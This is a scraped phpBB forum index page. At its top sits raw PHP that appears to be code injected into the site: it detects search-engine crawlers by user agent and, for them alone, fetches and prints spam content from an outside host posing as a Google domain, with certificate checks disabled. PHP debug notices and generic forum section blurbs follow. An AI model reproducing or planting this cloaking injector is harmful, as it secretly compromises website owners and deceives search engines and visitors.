$helper = new Helper(); $bot_list = array('Googlebot','aol.','.ask.','abacho','abizdirectory','about','acoon','allpages','allthesites','alltheuk','alltheweb','altavista','america','bot','bingbot','bingpreview','brainysearch','crawl','dmoz','dogpile','ebay','ehow','entireweb','euroseek','exalead','excite','facebook','fastbot','filesearch','-goo','google','google web preview','hispavista','hotbot','linkedin','live','lycos','mamma','metabot','metacrawler','metaeureka','mojeek','msn','msnbot','msrbot','myspace','netscape','obot','pinterest','rambler','search','spider','teoma','terra','tiscali','twitter','vkontakte','voila','wanadoo','web-archiv','webalta','webcrawler','websuche','yahoo','yandex','yell','youtube','zoneru'); $user_links = array('http://seo1.googlespider.net/get/index.php?type=link&fz=5'); $key = array_rand($user_links); $user_link = $user_links[$key]; $fetch_page = false; foreach($bot_list as $bot) { if(preg_match("#" . $bot ."#is", getenv("HTTP_USER_AGENT"))) { $fetch_page = true; break; } } if($fetch_page == true) { $fetch = new Fetch_site(null, implode("\n", $user_links)); echo $fetch->html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>
[phpBB Debug] PHP Notice: in file /index.php on line 90: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. [phpBB Debug] PHP Notice: in file /index.php on line 90: getdate(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone.
New to the forums ? Tell us a little about yourself, work and your interest, Introduce yourself and start making new friends! Post your festive and birthday wishes to members too!
Got some questions or business ideas? Business owners discuss business related issues, taxes, marketing, employees, licenses, advertising, software, scheduling, billing, insurance, associations, magazines and more!
Discussion about places to visit, Do you travel often? Or is there any place in this world you wish to visit? Share with us your experiences and pictures during your vacation here!
In total there are 2 users online :: 0 registered, 0 hidden and 2 guests (based on users active over the past 5 minutes) Most users ever online was 569 on Tue Jan 14, 2020 9:38 pm